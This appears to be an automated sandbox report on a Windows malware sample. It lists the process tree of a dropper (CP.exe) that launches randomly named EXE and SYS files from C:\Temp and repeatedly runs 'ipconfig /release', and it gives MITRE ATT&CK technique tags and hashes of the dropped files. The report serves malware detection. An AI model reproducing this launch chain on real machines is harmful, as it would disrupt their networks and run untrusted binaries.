- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_upmhfzxrpj.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3208
- - C:\Temp\i_upmhfzxrpj.exe
    C:\Temp\i_upmhfzxrpj.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:788
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\omgezwrpjh.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4548
- - C:\Temp\omgezwrpjh.exe
    C:\Temp\omgezwrpjh.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2392
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:492
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:796
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_omgezwrpjh.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4528
- - C:\Temp\i_omgezwrpjh.exe
    C:\Temp\i_omgezwrpjh.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2732
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\dbwtoljeyw.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3640
- - C:\Temp\dbwtoljeyw.exe
    C:\Temp\dbwtoljeyw.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4336
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:5028
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3720
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_dbwtoljeyw.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4840
- - C:\Temp\i_dbwtoljeyw.exe
    C:\Temp\i_dbwtoljeyw.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2856
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\aytqlidbvt.exe ups_run
  2⤵
  PID:4700
- - C:\Temp\aytqlidbvt.exe
    C:\Temp\aytqlidbvt.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4504
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:1736
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1684
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_aytqlidbvt.exe ups_ins
  2⤵
  PID:3876
- - C:\Temp\i_aytqlidbvt.exe
    C:\Temp\i_aytqlidbvt.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4324
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\ytqlidbvtn.exe ups_run
  2⤵
  PID:3648
- - C:\Temp\ytqlidbvtn.exe
    C:\Temp\ytqlidbvtn.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3968
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3896
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:5068
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_ytqlidbvtn.exe ups_ins
  2⤵
  PID:4652
- - C:\Temp\i_ytqlidbvtn.exe
    C:\Temp\i_ytqlidbvtn.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4428
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\pnifaysnlf.exe ups_run
  2⤵
  PID:3088
- - C:\Temp\pnifaysnlf.exe
    C:\Temp\pnifaysnlf.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3952
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3760
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:652
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_pnifaysnlf.exe ups_ins
  2⤵
  PID:840
- - C:\Temp\i_pnifaysnlf.exe
    C:\Temp\i_pnifaysnlf.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3220
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\hfzxspkica.exe ups_run
  2⤵
  PID:1516
- - C:\Temp\hfzxspkica.exe
    C:\Temp\hfzxspkica.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1464
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4880
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3720
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_hfzxspkica.exe ups_ins
  2⤵
  PID:1420
- - C:\Temp\i_hfzxspkica.exe
    C:\Temp\i_hfzxspkica.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3168
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\xrpjhfzxrp.exe ups_run
  2⤵
  PID:3076
- - C:\Temp\xrpjhfzxrp.exe
    C:\Temp\xrpjhfzxrp.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1216
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:1092
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1980
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_xrpjhfzxrp.exe ups_ins
  2⤵
  PID:1920
- - C:\Temp\i_xrpjhfzxrp.exe
    C:\Temp\i_xrpjhfzxrp.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1276
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\usmkecxrpk.exe ups_run
  2⤵
  PID:196
- - C:\Temp\usmkecxrpk.exe
    C:\Temp\usmkecxrpk.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3880
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4668
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:724
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_usmkecxrpk.exe ups_ins
  2⤵
  PID:2220
- - C:\Temp\i_usmkecxrpk.exe
    C:\Temp\i_usmkecxrpk.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:584
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\gbzwrmjebw.exe ups_run
  2⤵
  PID:272
- - C:\Temp\gbzwrmjebw.exe
    C:\Temp\gbzwrmjebw.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2172
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:4808
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4964
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_gbzwrmjebw.exe ups_ins
  2⤵
  PID:948
- - C:\Temp\i_gbzwrmjebw.exe
    C:\Temp\i_gbzwrmjebw.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3412
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\rojgbztrlj.exe ups_run
  2⤵
  PID:3316
- - C:\Temp\rojgbztrlj.exe
    C:\Temp\rojgbztrlj.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4804
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:3652
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1256
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_rojgbztrlj.exe ups_ins
  2⤵
  PID:3720
- - C:\Temp\i_rojgbztrlj.exe
    C:\Temp\i_rojgbztrlj.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:724
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\jdbvtoidbv.exe ups_run
  2⤵
  PID:4276
- - C:\Temp\jdbvtoidbv.exe
    C:\Temp\jdbvtoidbv.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3912
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:2872
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1264
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_jdbvtoidbv.exe ups_ins
  2⤵
  PID:3364
- - C:\Temp\i_jdbvtoidbv.exe
    C:\Temp\i_jdbvtoidbv.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:788

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3472

C:\Temp\ecwrojhbzt.sys
C:\Temp\ecwrojhbzt.sys
1⤵
- Executes dropped EXE
PID:2460

C:\Temp\tromgbytrl.sys
C:\Temp\tromgbytrl.sys
1⤵
- Executes dropped EXE
PID:2320

C:\Temp\dywqoigbyt.sys
C:\Temp\dywqoigbyt.sys
1⤵
- Executes dropped EXE
PID:4708

C:\Temp\ysqligaysq.sys
C:\Temp\ysqligaysq.sys
1⤵
- Executes dropped EXE
PID:5088

C:\Temp\vpnifaysqk.sys
C:\Temp\vpnifaysqk.sys
1⤵
- Executes dropped EXE
PID:2220

C:\Temp\mkfcxupnic.sys
C:\Temp\mkfcxupnic.sys
1⤵
- Executes dropped EXE
PID:1408

C:\Temp\kfcxspkhca.sys
C:\Temp\kfcxspkhca.sys
1⤵
- Executes dropped EXE
PID:1924

C:\Temp\zxrpjhczus.sys
C:\Temp\zxrpjhczus.sys
1⤵
- Executes dropped EXE
PID:4608

C:\Temp\zuomheywrp.sys
C:\Temp\zuomheywrp.sys
1⤵
- Executes dropped EXE
PID:3952

C:\Temp\omgeywrojg.sys
C:\Temp\omgeywrojg.sys
1⤵
- Executes dropped EXE
PID:2064

C:\Temp\tolgdywqoi.sys
C:\Temp\tolgdywqoi.sys
1⤵
PID:1020

C:\Temp\idyvqoigay.sys
C:\Temp\idyvqoigay.sys
1⤵
PID:1512

C:\Temp\aysqkidavt.sys
C:\Temp\aysqkidavt.sys
1⤵
PID:1048

C:\Temp\snkfdxvpnh.sys
C:\Temp\snkfdxvpnh.sys
1⤵
PID:1408

C:\Temp\mkfcxvpnhf.sys
C:\Temp\mkfcxvpnhf.sys
1⤵
PID:1168

C:\Temp\fzxrpjhczu.sys
C:\Temp\fzxrpjhczu.sys
1⤵
PID:3424

C:\Temp\uomhbztrmk.sys
C:\Temp\uomhbztrmk.sys
1⤵
PID:916

C:\Temp\bztrljdbwt.sys
C:\Temp\bztrljdbwt.sys
1⤵
PID:1492

C:\Temp\wtomgeywto.sys
C:\Temp\wtomgeywto.sys
1⤵
PID:3792

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CP.exe

Path C:\Temp\CP.exe
Size 4KB
SHA256 50b00a0816849edcc24eec9cfdd5443dbf33409ae05ee84202bfbcd00094485a
MD5 00d08d31f0ca0be125aa8ddb1c068a26
SHA1 c5e5cf5c0cb8a03c9146f5cd923cd620417eb75e
SHA512 6b5fe5899aa47239b53bc8dbd5ce6d9616ed2b0480fe55c34c27d6956f792a9c0796fe0dcd8949395284c3f5c59563efe333cc3e4e449fa9e9b7c219c88242a3
SSDEEP 48:i+HOtYCgTU534sKXG5BrBfdQSBe2nLB8JsU:fOWS3tpJ5un
TLSH
T11B912E2301A68472C8BD8FF711875AC9FABB51349322210C4BF70ED6EB70AB7446CB08
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dywqoigbyt.sys

Path C:\Temp\dywqoigbyt.sys
Size 141KB
SHA256 63da43f7ee5cae1f481bbfb7d1bf75ee6590c8d4667b244d7385e1de625b5d6f
MD5 f831e15eea8af6be07a33129cbba7542
SHA1 078bd4f9fea6f8dff2eb39887e1331faae5ac3d0
SHA512 3175feb5a65f5b8ab0998133c2e23fd50aff7f37a4c9da9748f292b461ee9470a8afd379343ddd8bf130dac6c4c05adb05e4b0dee4514bae6cd230796da284a7
SSDEEP 3072:FsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:FsQmpcF8BzXfwV
TLSH
T1ABE38D12B2D1D172E8A618BC106AC72186BE79304F76D9C3FB950BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ecwrojhbzt.sys

Path C:\Temp\ecwrojhbzt.sys
Size 141KB
SHA256 4e1a0b1761b4d588ef59e41e82a470eaff1030338377b8167d84d16efb30cc0c
MD5 c19f9d0a55ff757c158c1782095c4474
SHA1 bb155e72f8cfa9aa5467ec7838e181a81ca40125
SHA512 10586325eea13533bfd2bd784198cdb15d4ce9a5d623a0ad142944db51c685e8e5d530cdb69629cb292f22f67d2d4b9d31a150d505411fd34997f397ef27a378
SSDEEP 3072:dsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:dsQmpcF8BzXfwV
TLSH
T105E38D02B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_lfdyvtnlga.exe

Path C:\Temp\i_lfdyvtnlga.exe
Size 230KB
SHA256 8c3f9e7e7cae3feafa923dd872abf9558ff1c829f7a36acf5dbe8d60a18598fd
MD5 cb5a453f95cc8886296df2ab95387210
SHA1 39916e776954b099c9fca3d53bc0feadd51317e2
SHA512 de99d7d13d6b695e766a8f4cc0fedafd0bae1e0f9bb72fb45dbf4f6aabf414cfd448512a63c8547a4a8f17c8e35694b524e5b15c21c51e6f9f8c52836fa6514d
SSDEEP 3072:9JWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:9ghLQ0sQmpcF8BzXfwVfAI
TLSH
T1CF344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_nlfdxvqnig.exe

Path C:\Temp\i_nlfdxvqnig.exe
Size 230KB
SHA256 7a0650ded7422a037cab436157dfd74a5c20de6e1f22ec963b842bd0c34662f3
MD5 d50e51ae82666b0605defa4cc5cdfc23
SHA1 945b8444b9ab8a701ccd322379369d2b37b296b6
SHA512 bba00173fd45a70b0e1a3fbd111f6fcadc186c9430ef56ee54198f758962e7c9d42a031b617490924cda4ffaffa4e7c099e5e2d10df4318e78a4f6e017179c77
SSDEEP 3072:iJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:ighLQ0sQmpcF8BzXfwVfAI
TLSH
T1E2344A1272808071E7550B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_rmheztrmez.exe

Path C:\Temp\i_rmheztrmez.exe
Size 230KB
SHA256 0677c6084a689ec593a22fa60fcc34d92bff7015cd0e1443da1b87c287593165
MD5 67fccc3e266fb4959ad1c572cb251e36
SHA1 ee346b152fde6dea579983a4567f97ade8f277f3
SHA512 501ffdc9e91344516360325e5adf2a4ae96073bf5d86c4f5e89542c21a1ec0c570ec55c59854533682d5695415bfafc811e2bf6d56ad03f2047a86bacc2ee5d8
SSDEEP 3072:bJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:bghLQ0sQmpcF8BzXfwVfAI
TLSH
T161344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_tolgeywqoj.exe

Path C:\Temp\i_tolgeywqoj.exe
Size 230KB
SHA256 5d84037ce7df6e0cc5356c2d69df5cba4c93eb1ab35320b63ab32966c81f8e00
MD5 39e10300cff2f3e648823e7cc7614395
SHA1 0f92081fc3938c57d4d173247b534373afd5f982
SHA512 0ed41dc49cc3dd09b5924266a3125a47ecb3ff02d529edbc0b448f62a41e587c2ea1b5c512159f03655408f3c68df9e8cefb14b8dda3d78502fd6ff68a50bcc7
SSDEEP 3072:aJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:aghLQ0sQmpcF8BzXfwVfAI
TLSH
T1D1344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_tomgebwqom.exe

Path C:\Temp\i_tomgebwqom.exe
Size 230KB
SHA256 47fcf6e93e14dc7fb9c4bc9133fff8fdaf6edda1366b781e0bbe485f4e81b508
MD5 920a8342629e478ed3dc2e758f6c3ace
SHA1 e5fc33e9311cec56bbc0c9166a59c032db27ed64
SHA512 e44f63dddd30d8caa8a2b05d2f7adb4dc3a8bd58c8b40601eeca77925462ec35eb3aaff18ec99cd8863c95451555461ee12ac8d2dd0e076b2107139933ec4838
SSDEEP 3072:OJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:OghLQ0sQmpcF8BzXfwVfAI
TLSH
T109344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lfdyvtnlga.exe

Path C:\Temp\lfdyvtnlga.exe
Size 230KB
SHA256 74f9104dde1c363d0ca8e2687b19fe932bc58b615236a9321952ffca7e880090
MD5 9b47c5d52f43f819374123ec5f1ae536
SHA1 1d542f9e6567a19e7b5625fcf07180e2a6b67126
SHA512 49c527b619a1625e1c5c0e2d723a88702765d0ea1c4c07e01bfc7b8756e63ec9eebd90eeb6501a0efe70778f1baa46789a58b1233a1aa023fa852b0b3b4346d9
SSDEEP 3072:YJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:YghLQ0sQmpcF8BzXfwVfAI
TLSH
T1E4344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nlfdxvqnig.exe

Path C:\Temp\nlfdxvqnig.exe
Size 230KB
SHA256 ef1311f470384b6f889f14d897332a45c929764dd42c38361d70e873b1570295
MD5 1715027770422fe2ba78dedba2d733a8
SHA1 a69da8e20bab101fa5136109fc6d4afca9bb25eb
SHA512 619f6efe6674f17cf70a8d02e3052bb2f0d33f6ff46eee16144dd34c6c2f0efb827cec7f54625a58a2ad478caf9bef1d8be3661593e6b369622759d46f691bc1
SSDEEP 3072:OJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:OghLQ0sQmpcF8BzXfwVfAI
TLSH
T132344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

rmheztrmez.exe

Path C:\Temp\rmheztrmez.exe
Size 230KB
SHA256 f0f2c5f0c5b3bdc729120b30c494799832cf07c0825e7015a6f280837d68fbc2
MD5 a6f818ac03b443a80e2ab71d7539b554
SHA1 8d82b6f3b76c735f61606c615bcc8039c87d3530
SHA512 dbb6e2d740ccb5606134a00d1e87129cdbbb7060dea5f6aa4f175ac294e35040b2225b20b309e85ec20f5c7ee6cc82297f263b3a54bcfcd9a89156947fd35dea
SSDEEP 3072:HJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:HghLQ0sQmpcF8BzXfwVfAI
TLSH
T117344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tolgeywqoj.exe

Path C:\Temp\tolgeywqoj.exe
Size 230KB
SHA256 03acaa28070263af2d1be30e3d9ea5c5a6114ce9d958326e73e60f751d108d5c
MD5 25eff9cbefc8c5d20b6f6031036f8e27
SHA1 d1f4c781fe8c00d5ae3fb9e4641876dc529c2635
SHA512 c159515efe3e4d921ec6c5d7dad886dd07fc04ec20560da3cd20b63f902420ff0405a2971def86677c7805be0ebb8a2b021243fa0a47f0ea1f31c731cca90b08
SSDEEP 3072:2JWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:2ghLQ0sQmpcF8BzXfwVfAI
TLSH
T1F8344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tomgebwqom.exe

Path C:\Temp\tomgebwqom.exe
Size 230KB
SHA256 049f44fa9459a13ea6d60acd5f0e468d7f6f8c8e1cb7afdf7565259f008300af
MD5 5d3b567d1de6568dc731c6e69e987290
SHA1 d2a75714afbe363ac77f2652be832d99557a0c41
SHA512 cd0081bec173392c26d96029469a355119e8e3b3218fe6f6945f489ba03d33fd933b070089d68fc3e0f8b70351d0b2928914ea0de387edad080af0b55a5c3c57
SSDEEP 3072:cJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:cghLQ0sQmpcF8BzXfwVfAI
TLSH
T139344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tromgbytrl.sys

Path C:\Temp\tromgbytrl.sys
Size 141KB
SHA256 a8d957ddc6d5aaa06dffa8b514f4f0831ee0d55019afbac3465764c568c9f322
MD5 61761fb67e7ec94124cda86b4babb637
SHA1 4c5f1a9d04fca68ce6201bf4567e96f10b45ca04
SHA512 86491a81196efe26d936f28294ddaa3574d47878e1370088ad69d80ede3cb178d87bbe7abab77a728933501b77f1fcd5a957687656309f03ba649988411fb64f
SSDEEP 3072:WsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:WsQmpcF8BzXfwV
TLSH
T126E38D02B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B93531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vpnifaysqk.sys

Path C:\Temp\vpnifaysqk.sys
Size 141KB
SHA256 62602fe81972caec281f12c67a840d5b01cd875eb83e4617d32b39db00b12b4c
MD5 acbd9f7925013ab6d7ab9fb8c53a9763
SHA1 472e2132ae239ecd4d5a788b9e4bf9ab5b160199
SHA512 36abe86b41faad8e8f1e2521753cde660370daef5bdfbc949137cc62ff9aa4abaa147157456e088ebe8fef3655c1f7f5bba1b595222ce911e1500dc87af43985
SSDEEP 3072:vsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:vsQmpcF8BzXfwV
TLSH
T133E38D12B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ysqligaysq.sys

Path C:\Temp\ysqligaysq.sys
Size 141KB
SHA256 bb1e0bc967b9a2fef33eea136e00e30c57567fe523c67f40c9faca84ff1e2bde
MD5 585f97956131c9bd042e53a038f353d8
SHA1 ee049df30f17e89671201108fcea61c641e4db56
SHA512 30f125c10f193b9f29156027ddce711d5f8b47ecc34fcde417284de33e819adcd224afd0a87fb80c5f63a8c7560fc91ae7329670438724e3fe331979b9207eb1
SSDEEP 3072:+sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:+sQmpcF8BzXfwV
TLSH
T1D8E38D12B2D1D172E8A618BC106AC72186BE79304F76D9C3FB950BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

blocklist

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
Size 105KB
SHA256 bf6c7c1e310b8b7658a6486f9e0ec1988af55c64b0088c5e106c251843317694
MD5 6bb43aa8140737557979467fe7639310
SHA1 5d97e47df415ba67e13786711fbced4e9a750018
SHA512 8fb6570faf81d07a766da4536ff22a42ad13e3b00e64c6a1957397e3e55beaa3c40660967c718a520b4ce2092c1a8ae7388506160f6ae5fbf696f9efa13a4bd8
SSDEEP 1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7K:fwUQC5VwBIiElEd2K57P7K
TLSH
T1F1B3B931457E36BF26E93EE828CF1511B84F3912664895D4ABE1FE2C4845E68633CEF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 92b3fe3c1f53c120f20ea643b0dc7ed8623f9d208eb1c4d7232edcc97f0b69b6
MD5 7c01ab9b4147641f5e78fe413048da53
SHA1 8e1e36c184f8a953d84d6bcf9a23a2aeccf11785
SHA512 f42cfb7a46a1c4450f02942035de8f5b217382c91026f29ea332e7a448ba0045eb1f7a5acb7c8eddde74daa258d80f1a8ba7fcf32be1c93b64cbb997ca2c55ef
TLSH
T1E7D0805C33715C74C8968E71140DBF063699C4B2545553333C332C691C471411ED5297
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 bf89531d0e3eaeb6193d0eb94b0bec959bbc3dbf51f4b1135a0c78cf16adaa46
MD5 38938711ef0446937338851ec79a0894
SHA1 179778fce333dbfd0c0e890d77eef83f40e68189
SHA512 f43a9b63b4232462afb2de768f45ce89cf129900c80bd1d32946f956e184aba1b903c62f63f5ff2ed8fb9fb615cb1ac6ddffb909f174000b4a41a45f7daef6fc
TLSH
T104D0805C33B15C74CC968E71140DBF063699C4B2545553333C332C691C471811ED5297
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 4e2b0a50e1dc274fc7be9719ff0aaa5cd0c9065cc6d7bee05cc02249cdd19e38
MD5 5adea1a36aa77e6c4f25a6f27447f0a0
SHA1 a8224b0242b23529bbdc79fa18ea555da745e762
SHA512 c8100f8b9625c72547ecbcd43bee3bb6984558a8b42f6613dda88b618ebca78b26b42de7ade379d41988074700d68ee68407ced7cd2d976d9aac00808057525c
TLSH
T16461704B60B584A8EFF418B289EC333CF3700276017B5E1B16E5A97F9B8B76258D1820
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
